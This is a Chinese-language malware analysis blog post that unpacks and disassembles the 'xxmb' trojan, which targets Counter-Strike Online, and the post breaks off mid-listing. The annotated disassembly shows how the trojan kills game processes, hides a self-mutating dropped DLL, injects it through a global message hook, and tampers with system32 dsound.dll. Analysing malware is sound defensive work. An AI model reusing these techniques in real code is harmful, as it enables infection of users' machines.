发布于2022年11月8日3年前 病毒名称: xxmb 壳信息: yoda's Protector v1.02 (.dll,.ocx) -> Ashkbiz Danehkar (h) 威胁的系统: windows 相关漏洞: 无 文件系统变化生成如下文件:C:\DOCUME~1\jack\LOCALS~1\Temp\kb712959.sve (Kb后面的数值名称是随机生成的)C:\Program Files\Common Files\System\kb712959.dla (由kb712959.sve拷贝得来的)C:\WINDOWS\system32\dsound.dllC:\WINDOWS\system32\dsound.dll.YUCHC:\WINDOWS\system32\DllCache\dsound.dllC:\WINDOWS\system32\DllCache\dsound.dll.YUCH详细分析/功能介绍1.提升本进程权限,查看 "CSOLauncher.exe", "cstrike-online.exe"连个进程是否存在首先PEID查壳 :发现入口RVA:1000 .text段 但是显示是 yoda's Protector v1.02 (.dll,.ocx) -> Ashkbiz Danehkar 壳 具体的看看,果然是在加壳之后,又改了入口。00401000 >/$ B8 D507D0B0 mov eax,0xB0D007D500401005 |? B8 6FA04000 mov eax,server.0040A06F0040100A |? 8BC0 mov eax,eax0040100C |? 8BD2 mov edx,edx ; ntdll.KiFastSystemCallRet0040100E |? 55 push ebp0040100F |? 8BE9 mov ebp,ecx00401011 |. 5D pop ebp00401012 |? 50 push eax00401013 |? 51 push ecx00401014 |? 8BC8 mov ecx,eax00401016 |. 59 pop ecx00401017 |. C3 retn ; 将0040A06F压栈 使用retn指令 返回到40A06F处执行外壳程序说以现在我们可以更改OEP为 A06F,,,,,然后再去看看可不可以脱壳。可以看到外壳,使用esp定律就可以脱了0040A06F > 60 pushad0040A070 83EC 38 sub esp,0x380040A073 33C0 xor eax,eax0040A075 C745 D8 4765745>mov dword ptr ss:[ebp-0x28],0x507465470040A07C C745 DC 726F634>mov dword ptr ss:[ebp-0x24],0x41636F720040A083 C745 E0 6464726>mov dword ptr ss:[ebp-0x20],0x657264640040A08A C745 E4 7373000>mov dword ptr ss:[ebp-0x1C],0x7373脱壳之后,可以再用PEID查看,是Microsoft Visual C++ 6.0写的004048B4 >/$ 55 push ebp004048B5 |. 8BEC mov ebp,esp004048B7 |. 6A FF push -0x1004048B9 |. 68 E8504000 push Cracker.004050E8004048BE |. 68 20484000 push <jmp.&MSVCRT._except_handler3> ; SE 处理程序安装004048C3 |. 64:A1 0000000>mov eax,dword ptr fs:[0]004048C9 |. 50 push eax接下来进入正题了:单步到0040382F call 00402B29 跟进00402BF8 |. C645 E9 65 mov byte ptr ss:[ebp-0x17],0x6500402BFC |. C645 EA 67 mov byte ptr ss:[ebp-0x16],0x6700402C00 |. C645 EB 65 mov byte ptr ss:[ebp-0x15],0x65 ; SeDebugPrivileg, cstrike-online.exe, CSOLauncher00402C04 |. E8 26E8FFFF call Cracker.0040142F ; 提升本进程权限00402C09 |. 8D45 F0 lea eax,[local.4]00402C0C |. 50 push eax ; CSOLauncher.exe00402C0D |. E8 73E6FFFF call Cracker.0040128500402C12 |. 8D45 C8 lea eax,[local.14]00402C15 |. 50 push eax ; "cstrike-online.exe"00402C16 |. E8 6AE6FFFF call Cracker.00401285跟进40142F看下0040146F |. C645 FA 6C mov byte ptr ss:[ebp-0x6],0x6C ; |00401473 |. C645 FB 6C mov byte ptr ss:[ebp-0x5],0x6C ; |Advapi.dll00401477 |. 885D FC mov byte ptr ss:[ebp-0x4],bl ; |0040147A |. FFD6 call esi ; \LoadLibraryA00401558 |. C645 A8 6C mov byte ptr ss:[ebp-0x58],0x6C0040155C |. C645 A9 65 mov byte ptr ss:[ebp-0x57],0x6500401560 |. C645 AA 67 mov byte ptr ss:[ebp-0x56],0x6700401564 |. C645 AB 65 mov byte ptr ss:[ebp-0x55],0x6500401568 |. 8D45 DC lea eax,[local.9]0040156B |. C645 AC 73 mov byte ptr ss:[ebp-0x54],0x73 ; OpenProcessToken, LookupPrivilegeVauleA, AdjustTokenPrivilege0040156F |. 50 push eax ;“FuncName”00401570 |. 57 push edi ;hModuleDll00401571 |. 885D AD mov byte ptr ss:[ebp-0x53],bl00401574 |. E8 A7030000 call Cracker.00401920大家可以跟进401920看看 使用模块句柄,与函数名查找,导出表地址然后在kernel32.dll中得到CloseHandle,GetCurrentProcess两个进程GetCurrentProcess---->OpenProcessToken----->LookupPrivilegeValueA---->AdjustTokenPrivileges---->CloseHandle00401610 |. FFD0 call eax ; GetCurrentProcess00401612 |. 50 push eax00401613 |. FF55 88 call [local.30] ; OpenProcessToken00401616 |. 85C0 test eax,eax00401618 |. 74 5C je XCracker.004016760040161A |. 8D85 7CFFFFFF lea eax,[local.33]00401620 |. 50 push eax00401621 |. FF75 08 push [arg.1]00401624 |. 53 push ebx00401625 |. FF55 8C call [local.29] ; LookupprivilegeValueA00401628 |. 85C0 test eax,eax0040165F |. 53 push ebx00401660 |. 50 push eax00401661 |. 53 push ebx00401662 |. 89B5 6CFFFFFF mov [local.37],esi00401668 |. FF75 94 push [local.27]0040166B |. FF55 84 call [local.31] ; AdjustTokenPrivileges跟进call Cracker.00401285调用LoadLibraryA加载kernel32.dll,然后得到CreateToolhelp32Snapshot,Process32First,Process32Next,然后查找CSOLauncher.exe,cstrike-online.exe进程,如果找到结束该进程。对应代码004013C7 |. FFD3 call ebx ; CreateToolhelp32Snapshot004013C9 |. 8BD8 mov ebx,eax004013CB |. EB 03 jmp XCracker.004013D0004013CD |> 8B5D 08 mov ebx,[arg.1]004013D0 |> 83FB FF cmp ebx,-0x1004013D3 |. 75 04 jnz XCracker.004013D9004013D5 |. 33C0 xor eax,eax004013D7 |. EB 51 jmp XCracker.0040142A004013D9 |> 8D85 94FEFFFF lea eax,[local.91]004013DF |. C785 94FEFFFF>mov [local.91],0x128004013E9 |. 50 push eax004013EA |. 53 push ebx004013EB |. FF55 BC call [local.17] ; Process32First004013EE |. 85C0 test eax,eax004013F0 |. 74 33 je XCracker.00401425004013F2 |> 8D85 B8FEFFFF /lea eax,[local.82]004013F8 |. 50 |push eax004013F9 |. FF75 08 |push [arg.1] ; 进程名004013FC |. E8 CA020000 |call Cracker.004016CB ; 相当于strcmp00401401 |. 59 |pop ecx00401402 |. 85C0 |test eax,eax00401404 |. 59 |pop ecx00401405 |. 75 0C |jnz XCracker.0040141300401407 |. FFB5 9CFEFFFF |push [local.89] ; 进程PID0040140D |. E8 8DFDFFFF |call Cracker.0040119F ; OpenProcess TerminateProcess00401412 |. 59 |pop ecx ; ntdll.7C92F64100401413 |> 8D85 94FEFFFF |lea eax,[local.91]00401419 |. 50 |push eax0040141A |. 53 |push ebx0040141B |. FF55 C0 |call [local.16] ; Process32Next0040141E |. 85C0 |test eax,eax00401420 |.^ 75 D0 \jnz XCracker.004013F22.将资源写入临时文件C:\DOCUME~1\jack\LOCALS~1\Temp\kb******.sve(******是一串随机数),拷贝变型了的临时文件到 C:\Program Files\Common Files\System\kd******.dla, 并将文件属性设置为隐藏00403840 |. 8BF8 mov edi,eax00403842 |. 56 push esi ; /n00403843 |. 6A 00 push 0x0 ; |c = 0000403845 |. 57 push edi ; |s00403846 |. E8 E70F0000 call <jmp.&MSVCRT.memset> ; \memset0040384B |. 6A 00 push 0x00040384D |. 57 push edi0040384E |. 6A 06 push 0x600403850 |. E8 F7F3FFFF call Cracker.00402C4C跟进关键call 402C4C00402D35 |. C645 88 53 mov byte ptr ss:[ebp-0x78],0x53 ; copyfile00402D39 |. AA stos byte ptr es:[edi]00402D3A |. C645 89 4F mov byte ptr ss:[ebp-0x77],0x4F00402D3E |. C645 8A 46 mov byte ptr ss:[ebp-0x76],0x4600402D42 |. C645 8B 54 mov byte ptr ss:[ebp-0x75],0x5400402D46 |. C645 8C 57 mov byte ptr ss:[ebp-0x74],0x5700402D4A |. C645 8D 41 mov byte ptr ss:[ebp-0x73],0x4100402D4E |. C645 8E 52 mov byte ptr ss:[ebp-0x72],0x5200402D52 |. C645 8F 45 mov byte ptr ss:[ebp-0x71],0x4500402D56 |. C645 90 5C mov byte ptr ss:[ebp-0x70],0x5C00402D5A |. C645 91 41 mov byte ptr ss:[ebp-0x6F],0x4100402D5E |. 8B7D 0C mov edi,[arg.2] ; 堆首地址00402D61 |. 8065 9F 00 and byte ptr ss:[ebp-0x61],0x000402D65 |. 8065 CE 00 and byte ptr ss:[ebp-0x32],0x000402D69 |. 8065 CF 00 and byte ptr ss:[ebp-0x31],0x000402D6D |. 8065 BD 00 and byte ptr ss:[ebp-0x43],0x000402D71 |. 8D45 B8 lea eax,[local.18]00402D74 |. 6A 76 push 0x7600402D76 |. 50 push eax00402D77 |. 57 push edi00402D78 |. C645 92 68 mov byte ptr ss:[ebp-0x6E],0x6800402D7C |. C645 93 6E mov byte ptr ss:[ebp-0x6D],0x6E00402D80 |. C645 94 4C mov byte ptr ss:[ebp-0x6C],0x4C00402D84 |. C645 95 61 mov byte ptr ss:[ebp-0x6B],0x6100402D88 |. C645 96 62 mov byte ptr ss:[ebp-0x6A],0x6200402D8C |. C645 97 5C mov byte ptr ss:[ebp-0x69],0x5C00402D90 |. C645 98 48 mov byte ptr ss:[ebp-0x68],0x4800402D94 |. C645 99 53 mov byte ptr ss:[ebp-0x67],0x5300402D98 |. C645 9A 68 mov byte ptr ss:[ebp-0x66],0x6800402D9C |. C645 9B 69 mov byte ptr ss:[ebp-0x65],0x6900402DA0 |. C645 9C 65 mov byte ptr ss:[ebp-0x64],0x6500402DA4 |. C645 9D 6C mov byte ptr ss:[ebp-0x63],0x6C00402DA8 |. C645 9E 64 mov byte ptr ss:[ebp-0x62],0x64 ; SOFTWARE\AhnLad\HShield00402DAC |. C645 B8 6D mov byte ptr ss:[ebp-0x48],0x6D00402DB0 |. C645 B9 73 mov byte ptr ss:[ebp-0x47],0x7300402DB4 |. C645 BA 63 mov byte ptr ss:[ebp-0x46],0x6300402DB8 |. C645 BB 72 mov byte ptr ss:[ebp-0x45],0x7200402DBC |. C645 BC 6F mov byte ptr ss:[ebp-0x44],0x6F ; mscro00402DC0 |. E8 C9F7FFFF call Cracker.0040258E这个call,将资源写入临时文件C:\DOCUME~1\jack\LOCALS~1\Temp\kb******.sve(******是一串随机数)首先004025FE |. 885D C8 mov byte ptr ss:[ebp-0x38],bl ; GetTempPathA00402601 |. E8 1AF3FFFF call Cracker.0040192000402606 |. 59 pop ecx00402607 |. 59 pop ecx00402608 |. 8D8D 60FEFFFF lea ecx,[local.104]0040260E |. 51 push ecx ; 存放临时文件路进0040260F |. 68 04010000 push 0x10400402614 |. FFD0 call eax ; GetTempPathA 创建临时文件00402616 |. 85C0 test eax,eax然后使用相同的方式得到FindResource--->LoadResource--->SizeOfResource->LockResource->FreeResource就下来是 使用time() 产生一个种子,随机生成6个字符的字符串 构成kb******.sve00402789 |. FF15 98504000 call dword ptr ds:[<&MSVCRT.time>] ; \time0040278F |. 50 push eax ; /seed00402790 |. FF15 94504000 call dword ptr ds:[<&MSVCRT.srand>] ; \srand00402796 |. 83C4 30 add esp,0x3000402799 |. 6A 02 push 0x20040279B |. 5F pop edi0040279C |> FF15 90504000 /call dword ptr ds:[<&MSVCRT.rand>] ; [rand004027A2 |. 6A 0A |push 0xA004027A4 |. 99 |cdq004027A5 |. 59 |pop ecx004027A6 |. F7F9 |idiv ecx004027A8 |. 80C2 30 |add dl,0x30004027AB |. 88943D 64FFFF>|mov byte ptr ss:[ebp+edi-0x9C],dl004027B2 |. 47 |inc edi004027B3 |. 83FF 08 |cmp edi,0x8 ; while(edi < 0x8)004027B6 |.^ 7C E4 \jl XCracker.0040279C004027B8 |. C6843D 64FFFF>mov byte ptr ss:[ebp+edi-0x9C],0x2E004027C0 |. 47 inc edi004027C1 |. 8D85 64FFFFFF lea eax,[local.39]004027C7 |. C6843D 64FFFF>mov byte ptr ss:[ebp+edi-0x9C],0x73004027CF |. 47 inc edi004027D0 |. 50 push eax004027D1 |. 8D85 60FEFFFF lea eax,[local.104]004027D7 |. C6843D 64FFFF>mov byte ptr ss:[ebp+edi-0x9C],0x76004027E0 |. 50 push eax ; 临时文件路径004027E1 |. C6843D 64FFFF>mov byte ptr ss:[ebp+edi-0x9C],0x65004027E9 |. 889C3D 65FFFF>mov byte ptr ss:[ebp+edi-0x9B],bl004027F0 |. E8 A5EFFFFF call Cracker.0040179A ; strcat004027F5 |. 8D85 60FEFFFF lea eax,[local.104]004027FB |. 50 push eax ; C:\DOCUME~1\jack\LOCALS~1\Temp\kb420995.sve004027FC |. FF75 08 push [arg.1] ; 堆首地址004027FF |. E8 9FEEFFFF call Cracker.004016A3 ; 将生成路径名拷贝到堆区0040280A |. 53 push ebx ; /pModule0040280B |. FF15 04504000 call dword ptr ds:[<&kernel32.GetModuleH>; \GetModuleHandleA00402811 |. FF75 0C push [arg.2] ; mscro (自己指定的资源类型)00402814 |. 8BF8 mov edi,eax00402816 |. FF75 10 push [arg.3] ; 资源ID = 7600402819 |. 57 push edi0040281A |. FF55 84 call [local.31] ; FindResoureA 定位所指定的资源0040281D |. 8945 08 mov [arg.1],eax ; HRSRC00402820 |. 50 push eax00402821 |. 58 pop eax00402822 |. 395D 08 cmp [arg.1],ebx00402825 |. 0F84 9B000000 je Cracker.004028C60040282B |. FF75 08 push [arg.1] ; HRSRC0040282E |. 57 push edi ; hModule0040282F |. FF55 88 call [local.30] ; LoadResource 加载指定资源到内存00402832 |. 3BC3 cmp eax,ebx ; 407070 是 指向资源数据的内存指针0040284F |. 57 push edi00402850 |. FF55 98 call [local.26] ; SizeOfResource 得到资源大小00402853 |. BF 10604000 mov edi,Cracker.00406010 ; ASCII "Kernel32.dll"00402858 |. 68 44604000 push Cracker.00406044 ; ASCII "CreateFileA"0040285D |. 57 push edi0040285E |. 8945 98 mov [local.26],eax ; 【local.26】 = 2800 资源大小00402861 |. FFD6 call esi00402863 |. 50 push eax00402864 |. E8 B7F0FFFF call Cracker.0040192000402869 |. 59 pop ecx0040286A |. 8945 08 mov [arg.1],eax ; CreateFile0040286D |. 59 pop ecx0040286E |. 68 50604000 push Cracker.00406050 ; ASCII "CloseHandle"00402873 |. 57 push edi00402874 |. FFD6 call esi00402876 |. 50 push eax00402877 |. E8 A4F0FFFF call Cracker.004019200040287C |. 59 pop ecx0040287D |. 8945 0C mov [arg.2],eax00402880 |. 59 pop ecx00402881 |. 8D85 60FEFFFF lea eax,[local.104]00402887 |. 53 push ebx00402888 |. 53 push ebx00402889 |. 6A 02 push 0x20040288B |. 53 push ebx0040288C |. 53 push ebx0040288D |. 68 000000C0 push 0xC000000000402892 |. 50 push eax ; C:\DOCUME~1\jack\LOCALS~1\Temp\kb420995.sve00402893 |. FF55 08 call [arg.1] ; CreateFile00402896 |. 8BF0 mov esi,eax00402898 |. 83FE FF cmp esi,-0x10040289B |. 0F84 A4000000 je Cracker.00402945004028A1 |. 8D45 FC lea eax,[local.1]004028A4 |. 53 push ebx ; /pOverlapped004028A5 |. 50 push eax ; |pBytesWritten004028A6 |. 8B3D 1C504000 mov edi,dword ptr ds:[<&kernel32.WriteFi>; |kernel32.WriteFile004028AC |. FF75 98 push [local.26] ; |SizeOfResorce 返回值 = 0x2800004028AF |. FF75 94 push [local.27] ; |Buffer = 407070 指向资源指针004028B2 |. 56 push esi ; |hFile 临时文件句柄004028B3 |. FFD7 call edi ; \WriteFile00402DCD |. E8 85FBFFFF call Cracker.00402957 ; 打开母本读取母本后两双字,在临时文件末尾追加随机数据,之后将母本读出双字写入临时文件。目的变型文件,以至每次运行不一样。大家可以跟进去看看接下来时对注册表操作00402E36 |. C645 A7 2E mov byte ptr ss:[ebp-0x59],0x2E00402E3A |. C645 A8 62 mov byte ptr ss:[ebp-0x58],0x6200402E3E |. C645 A9 65 mov byte ptr ss:[ebp-0x57],0x6500402E42 |. C645 AA 74 mov byte ptr ss:[ebp-0x56],0x74 ; SOFTWORE\Ahnlad\HShield.dbghelp.bet00402E46 |. E8 57F0FFFF call Cracker.00401EA2跟进call 401EA200401EB3 |. FF75 08 push [arg.1]00401EB6 |. E8 06FCFFFF call Cracker.00401AC1 ; RegOpenKeyExA 打开子键 SOFTWORE\Ahnlad\HShield 会打开失败 大家可以跟进去看看00401F84 |. C645 D1 68 mov byte ptr ss:[ebp-0x2F],0x68 ; |00401F88 |. C645 D2 65 mov byte ptr ss:[ebp-0x2E],0x65 ; |Software\Microsoft\windows\ShellNoRoam\MUICache00401F8C |. 885D D3 mov byte ptr ss:[ebp-0x2D],bl ; |00401F8F |. C645 E4 41 mov byte ptr ss:[ebp-0x1C],0x41 ; |00401F93 |. C645 E5 64 mov byte ptr ss:[ebp-0x1B],0x64 ; |00401F97 |. C645 E6 76 mov byte ptr ss:[ebp-0x1A],0x76 ; |00401F9B |. C645 E7 61 mov byte ptr ss:[ebp-0x19],0x61 ; |00401F9F |. C645 E8 70 mov byte ptr ss:[ebp-0x18],0x70 ; |00401FA3 |. C645 E9 69 mov byte ptr ss:[ebp-0x17],0x69 ; |00401FA7 |. C645 EA 33 mov byte ptr ss:[ebp-0x16],0x33 ; |00401FAB |. C645 EB 32 mov byte ptr ss:[ebp-0x15],0x32 ; |00401FAF |. C645 EC 2E mov byte ptr ss:[ebp-0x14],0x2E ; |00401FB3 |. C645 ED 64 mov byte ptr ss:[ebp-0x13],0x64 ; |00401FB7 |. C645 EE 6C mov byte ptr ss:[ebp-0x12],0x6C ; |00401FBB |. C645 EF 6C mov byte ptr ss:[ebp-0x11],0x6C ; |Avdapi32.dll00401FBF |. 885D F0 mov byte ptr ss:[ebp-0x10],bl ; |00401FC2 |. FF15 00504000 call dword ptr ds:[<&kernel32.LoadLibraryA>] ; \LoadLibraryA00401FC8 |. 8BF0 mov esi,eax00401FCA |. 3BF3 cmp esi,ebx00401FCC |. 0F84 BB000000 je Cracker.0040208D00401FD2 |. 8D45 D4 lea eax,[local.11]00401FD5 |. 57 push edi ; 临时文件0040203B |. 885D FF mov byte ptr ss:[ebp-0x1],bl0040203E |. E8 DDF8FFFF call Cracker.0040192000402043 |. 8BF8 mov edi,eax ; edi = RegOpenKeyExA00402045 |. 8D45 F4 lea eax,[local.3]00402048 |. 50 push eax00402049 |. 56 push esi0040204A |. E8 D1F8FFFF call Cracker.004019200040204F |. 83C4 10 add esp,0x1000402052 |. 8BF0 mov esi,eax ; esi = RegCloseKey00402054 |. 8D45 14 lea eax,[arg.4]00402057 |. 50 push eax00402058 |. 68 19000200 push 0x200190040205D |. 8D45 A4 lea eax,[local.23]00402060 |. 53 push ebx00402061 |. 50 push eax ; Software\Microsoft\windows\ShellNoRoam\MUICache00402062 |. 68 01000080 push 0x80000001 ; HKEY_CURRENT_USER00402067 |. FFD7 call edi ; RegOpenKeyExA00402069 |. 85C0 test eax,eax ; if(iRet==ERROR_SUCCESS)0040206B |. 5F pop edi0040206C |. 75 11 jnz XCracker.0040207F0040206E |. FF75 18 push [arg.5] ; 打开子键成功00402071 |. FF75 14 push [arg.4]00402074 |. FF75 08 push [arg.1]00402077 |. E8 4CFCFFFF call Cracker.00401CC8咦咦没有改注册表啊,,,?? 继续吧接下来拷贝变型了的临时文件到 C:\Program Files\Common Files\System\kd******.dla, 并将文件属性设置为隐藏0040318B |. C645 D5 65 mov byte ptr ss:[ebp-0x2B],0x650040318F |. C645 D6 6D mov byte ptr ss:[ebp-0x2A],0x6D ; \System00403193 |. E8 E3E4FFFF call Cracker.0040167B00403198 |. 8BF8 mov edi,eax0040319A |. 47 inc edi0040319B |. 57 push edi ; kb******.sve0040319C |. E8 E3E5FFFF call Cracker.00401784 ; strlen004031A1 |. 83E8 03 sub eax,0x3004031A4 |. 50 push eax ; /maxlen004031A5 |. 8D85 4CFFFFFF lea eax,[local.45] ; |复制kd******.004031AB |. 57 push edi ; |src004031AC |. 50 push eax ; |dest004031AD |. FF15 9C504000 call dword ptr ds:[<&MSVCRT.strncpy>] ; \strncpy004031B3 |. 8D85 4CFFFFFF lea eax,[local.45]004031B9 |. 68 7C604000 push Cracker.0040607C ; ASCII "dla"004031BE |. 50 push eax ; kd******.004031BF |. E8 D6E5FFFF call Cracker.0040179A ; strcat004031C4 |. 8D85 4CFFFFFF lea eax,[local.45]004031CA |. 50 push eax ; kd******.dla004031CB |. 8D85 B8F9FFFF lea eax,[local.402]004031D1 |. 50 push eax004031D2 |. E8 CCE4FFFF call Cracker.004016A3 ; memcpy(12F8B0, "kd******.dla")00403261 |. 8D85 B8F9FFFF lea eax,[local.402]00403267 |. 50 push eax ; ke******.dla00403268 |. 8D85 48FEFFFF lea eax,[local.110]0040326E |. 50 push eax0040326F |. E8 26E5FFFF call Cracker.0040179A ; strcat00403274 |. 83C4 18 add esp,0x1800403277 |> 8D85 48FEFFFF lea eax,[local.110] ; C:\Program File\Common Files\Common Filesa\System\ke******.dla0040327D |. 50 push eax0040327E |. E8 01E5FFFF call Cracker.00401784 ; strlen00403283 |. 85C0 test eax,eax00403285 |. 59 pop ecx00403286 |. 0F84 35010000 je Cracker.004033C10040328C |. 8D85 48FEFFFF lea eax,[local.110]00403292 |. 68 80000000 push 0x80 ; /FileAttributes = NORMAL00403297 |. 50 push eax ; |FileName00403298 |. FF15 24504000 call dword ptr ds:[<&kernel32.SetFileAttributes>; \SetFileAttributesA0040329E |. 8D85 48FEFFFF lea eax,[local.110]004032A4 |. 6A 00 push 0x0004032A6 |. 50 push eax ; C:\Program File\Common Files\Common Filesa\System\ke******.dla004032A7 |. FF75 0C push [arg.2] ; 临时文件路径004032AA |. FF55 C4 call [local.15] ; copyfile0040336C |. 8BD8 mov ebx,eax ; ebx = SetFIleAttributes0040336E |. 59 pop ecx0040336F |. 8D85 48FEFFFF lea eax,[local.110]00403375 |. 50 push eax ; C:\Program File\Common Files\Common Filesa\System\ke******.dla00403376 |. FFD7 call edi ; edi = GetFileAttributesA,00403378 |. 0C 02 or al,0x2 ; 与上 FILE_ATTRIBUTE_HIDDEN0040337A |. 50 push eax0040337B |. 8D85 48FEFFFF lea eax,[local.110]00403381 |. 50 push eax00403382 |. FFD3 call ebx ; SetFIleAttributes 隐藏文件3. 加载临时文件, 获取他的导出函数LoadDll, 然后调用LoadDll安全全局钩子(钩子类型WH_GETMESSAGE)0040339F |. C645 C5 6C mov byte ptr ss:[ebp-0x3B],0x6C004033A3 |. C645 C6 6C mov byte ptr ss:[ebp-0x3A],0x6C ; LoadDll004033A7 |. FFD6 call esi ; LoadLibrary (加载临时文件)004033A9 |. 8D4D C0 lea ecx,[local.16]004033AC |. 51 push ecx ; LoadDll004033AD |. 50 push eax ; hModule004033AE |. E8 6DE5FFFF call Cracker.00401920004033B3 |. 59 pop ecx004033B4 |. 59 pop ecx004033B5 |. 85C0 test eax,eax004033B7 |. 74 08 je XCracker.004033C1004033B9 |. FFD0 call eax ; LoadDll 导出函数跟进 call eax发现安装WH_GETMESSAGE类型的全局钩子,在回调函数里都没做,说明这个导出函数目的就是让任何线程调用GetMessage或PeekMessage时加载这个dll,,,, 感觉这个dll里面很邪恶。10002082 FF7424 0C push dword ptr ss:[esp+0xC]10002086 FF7424 0C push dword ptr ss:[esp+0xC]1000208A FF7424 0C push dword ptr ss:[esp+0xC]1000208E FF35 00600010 push dword ptr ds:[0x10006000]10002094 FF15 DC400010 call dword ptr ds:[0x100040DC] ; USER32.CallNextHookEx1000209A C2 0C00 retn 0xC1000209D > 6A 00 push 0x0 ; 0 全局钩子1000209F FF35 00530010 push dword ptr ds:[0x10005300] ; kb372004.10000000100020A5 68 82200010 push kb372004.10002082 ; Hook_CallBack100020AA 6A 03 push 0x3 ; WH_GETMESSAGE100020AC FF15 D8400010 call dword ptr ds:[0x100040D8] ; USER32.SetWindowsHookExA100020B2 A3 00600010 mov dword ptr ds:[0x10006000],eax100020B7 C3 retn100020B8 > FF35 00600010 push dword ptr ds:[0x10006000]100020BE FF15 D4400010 call dword ptr ds:[0x100040D4] ; USER32.UnhookWindowsHookEx100020C4 C3 retn4. 判断C:\windows\system32\dsound.dll文件是都存在,存在就拷贝一份,命名为C:\windows\system32\dsound.dll.dat00402411 |. C645 D8 41 mov byte ptr ss:[ebp-0x28],0x41 ; CopyFile00402415 |. 885D D9 mov byte ptr ss:[ebp-0x27],bl00402418 |. E8 70F4FFFF call Cracker.0040188D ; 这个call里调用GetSystemDirectory0040241D |. 8D85 08FCFFFF lea eax,[local.254]00402423 |. 50 push eax00402424 |. 8D85 0CFDFFFF lea eax,[local.189]0040242A |. 50 push eax0040242B |. E8 73F2FFFF call Cracker.004016A300402430 |. FF75 08 push [arg.1] ; dsound.dll00402433 |. 8D85 0CFDFFFF lea eax,[local.189]00402439 |. 50 push eax0040243A |. E8 5BF3FFFF call Cracker.0040179A ; strcat0040243F |. 8D85 0CFDFFFF lea eax,[local.189] ; C:\windows\system32\dsound.dll00402445 |. 50 push eax00402446 |. 8D85 10FEFFFF lea eax,[local.124] ; newbuf0040244C |. 50 push eax0040244D |. E8 51F2FFFF call Cracker.004016A3 ; memcpy00402452 |. 8D45 E4 lea eax,[local.7]00402455 |. 50 push eax ; .dat00402456 |. 8D85 10FEFFFF lea eax,[local.124]0040245C |. 50 push eax0040245D |. E8 38F3FFFF call Cracker.0040179A ; C:\windows\system32\dsound.dll.dat00402462 |. 83C4 24 add esp,0x2400402465 |. 8D45 D0 lea eax,[local.12]00402468 |. 50 push eax ; CopyFile00402469 |. 68 10604000 push Cracker.00406010 ; /FileName = "Kernel32.dll"0040246E |. FF15 00504000 call dword ptr ds:[<&kernel32.LoadLibraryA>] ; \LoadLibraryA00402474 |. 50 push eax00402475 |. E8 A6F4FFFF call Cracker.004019200040247A |. 8BF8 mov edi,eax ; edi = CopyFile0040247C |. 8D85 0CFDFFFF lea eax,[local.189]00402482 |. 50 push eax ; C:\windows\system32\dsound.dll00402483 |. E8 3CF3FFFF call Cracker.004017C4 ; 调用FindFirstFile 查看传入参数文件是否存在00402488 |. 8BF0 mov esi,eax0040248A |. 8D85 10FEFFFF lea eax,[local.124]00402490 |. 50 push eax ; 看C:\windows\system32\dsound.dll.dat是否存在004024B2 |> \8D85 10FEFFFF lea eax,[local.124]004024B8 |. 53 push ebx004024B9 |. 50 push eax004024BA |. 8D85 0CFDFFFF lea eax,[local.189] ; C:\windows\system32\dsound.dll.dat004024C0 |. 50 push eax ; C:\windows\system32\dsound.dll004024C1 |. FFD7 call edi ; copyfile004024C3 |> 8D8D 14FFFFFF lea ecx,[local.59] ; 系统目录\system\"下是否存在"dsound.dll"文件,如果存在则备份dsound.dll004024C9 |. C645 DC 2E mov byte ptr ss:[ebp-0x24],0x2E接下来使用备份文件dsound.dll.bat004024DD |. C645 E1 36 mov byte ptr ss:[ebp-0x1F],0x36 ; .text6004024E1 |. 885D E2 mov byte ptr ss:[ebp-0x1E],bl004024E4 |. C645 EC 2E mov byte ptr ss:[ebp-0x14],0x2E004024E8 |. C645 ED 74 mov byte ptr ss:[ebp-0x13],0x74004024EC |. C645 EE 65 mov byte ptr ss:[ebp-0x12],0x65004024F0 |. C645 EF 78 mov byte ptr ss:[ebp-0x11],0x78004024F4 |. C645 F0 74 mov byte ptr ss:[ebp-0x10],0x74004024F8 |. C645 F1 38 mov byte ptr ss:[ebp-0xF],0x38 ; .text8004024FC |. 885D F2 mov byte ptr ss:[ebp-0xE],bl004024FF |. E8 6D130000 call Cracker.00403871 ; new 后面拷贝备份文件使用00402504 |. 8D85 10FEFFFF lea eax,[local.124] ; C:\windows\system32\dsound.dll.dat0040250A |. 8D8D 14FFFFFF lea ecx,[local.59]00402510 |. 50 push eax00402511 |. 895D FC mov [local.1],ebx00402514 |. E8 A5170000 call Cracker.00403CBE跟进call 00403CBE00403D5E |. 6A 00 push 0x0 ; /pOverlapped = NULL00403D60 |. 51 push ecx ; |pBytesRead00403D61 |. FF76 04 push dword ptr ds:[esi+0x4] ; | FileSize00403D64 |. 50 push eax ; |Buffer00403D65 |. 57 push edi ; |hFile00403D66 |. FF15 10504000 call dword ptr ds:[<&kernel32.ReadFile>] ; \ReadFile00403D6C |. 57 push edi ; 将备份的dsound.dll.bat文件读入缓冲区接下来使用memcpy分段拷贝dsound.dll.bat 到全面准备好的缓冲区中00403D6D |. FF5424 14 call dword ptr ss:[esp+0x14]00403D71 |. 55 push ebp ; /40 拷贝dsound.dll.bat文件pe头前0x40字节到00393AD000403D72 |. FF36 push dword ptr ds:[esi] ; |src00403D74 |. FF76 08 push dword ptr ds:[esi+0x8] ; |dest00403D77 |. E8 B00A0000 call <jmp.&MSVCRT.memcpy> ; \memcpy00403D7C |. 8B46 08 mov eax,dword ptr ds:[esi+0x8]00403DEB |> \0FB768 06 movzx ebp,word ptr ds:[eax+0x6] ; 区块个数00403DEF |. 85ED test ebp,ebp00403DF1 |. 76 6E jbe XCracker.00403E6100403DF3 |. 836424 1C 00 and dword ptr ss:[esp+0x1C],0x000403DF8 |. 8D7E 1C lea edi,dword ptr ds:[esi+0x1C]00403DFB |. 896C24 10 mov dword ptr ss:[esp+0x10],ebp00403DFF |> 8B4424 1C /mov eax,dword ptr ss:[esp+0x1C]00403E03 |. 6A 28 |push 0x28 ; /n = 28 (40.)00403E05 |. 0306 |add eax,dword ptr ds:[esi] ; |00403E07 |. 03C3 |add eax,ebx ; |00403E09 |. 50 |push eax ; |src00403E0A |. FF37 |push dword ptr ds:[edi] ; |dest00403E0C |. E8 1B0A0000 |call <jmp.&MSVCRT.memcpy> ; \memcpy00403E11 |. 834424 28 28 |add dword ptr ss:[esp+0x28],0x2800403E16 |. 83C4 0C |add esp,0xC00403E19 |. 83C7 04 |add edi,0x400403E1C |. FF4C24 10 |dec dword ptr ss:[esp+0x10] ; 拷贝区块头00403E29 |> /8B46 18 /mov eax,dword ptr ds:[esi+0x18]00403E2C |. |8BCE |mov ecx,esi00403E2E |. |FF70 3C |push dword ptr ds:[eax+0x3C] ; 文件对齐值200h00403E31 |. |8B07 |mov eax,dword ptr ds:[edi] ; 区块头00403E33 |. |FF70 10 |push 